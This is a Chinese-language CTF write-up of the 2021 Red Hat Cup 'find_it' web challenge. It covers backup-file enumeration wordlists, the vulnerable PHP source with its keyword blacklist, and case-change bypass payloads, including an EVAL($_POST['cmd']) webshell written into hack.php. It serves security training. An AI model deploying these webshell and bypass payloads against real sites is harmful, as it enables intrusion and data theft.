2021-第四届红帽杯网络安全大赛-find_it | 先备份文件、然代码审计、后正则绕过

操作分析☕️

🍺首先是对网站进行文件目录扫描,最终就扫到robots.txt,提示了这个页面

在这里插入图片描述
1ndexx.php也访问不了,啥也没有

🍺网站备份文件泄露常见名称

backup
db
data
web
wwwroot
database
code
test
admin
user
sql

🍺网站备份文件常见后缀

.bak
.html
_index.html
.swp
.rar
.txt
.zip
.7z
.sql
.tar.gz
.tgz
.tar

🍺只能考虑备份文件缓冲文件类了,提示1ndexx.php文件,与备份后缀逐个尝试,访问.1ndexx.php.swp可得到源码

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");   // fopen() 函数打开一个文件

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
// filesize()函数返回指定文件的大小
// fread() 函数读取打开的文件,函数会在到达指定长度或读到文件末尾,停止运行。
// 该函数返回读取的字符串,如果失败则返回 FALSE

$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
// fwrite(file,string,length)   file必需,规定要写入的打开文件;string必需,规定要写入文件的字符串;length可选,规定要写入的最大字节数。

fclose($file);
fclose($hack);
?>

🍺
1、传入参数code

2、进行正则匹配

3、对输入的参数长度进行限制

4、将输入的参数与flag写入到hack.php文件中

🍺代码分析,这里的正则过滤容易绕过,随便一个大写即可

我们先测试一波:先输入参数

?code=<?php phpinfo();?>

然后访问hack.php,成功

在这里插入图片描述

🍺利用方式1:
 大小写过滤,可以利用EVAL绕过eval限制

?code=<?php EVAL($_POST['cmd']); ?>

在这里插入图片描述

🍺利用方式2:
 这里没有禁用show_source,利用show_source高亮代码,看代码可知flag.php里的内容也会被写入到hack.php中,这样只需要高亮自己就可以看到flag了

?code=<?php show_source(__FILE__); ?>

在这里插入图片描述

🍺额外:show_source()是 highlight_file() 的别名,show_source() 函数对文件进行语法高亮显示,show_source(filename,return),如果 return 参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出,否则,如果成功则返回 TRUE,如果失败则返回 FALSE

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值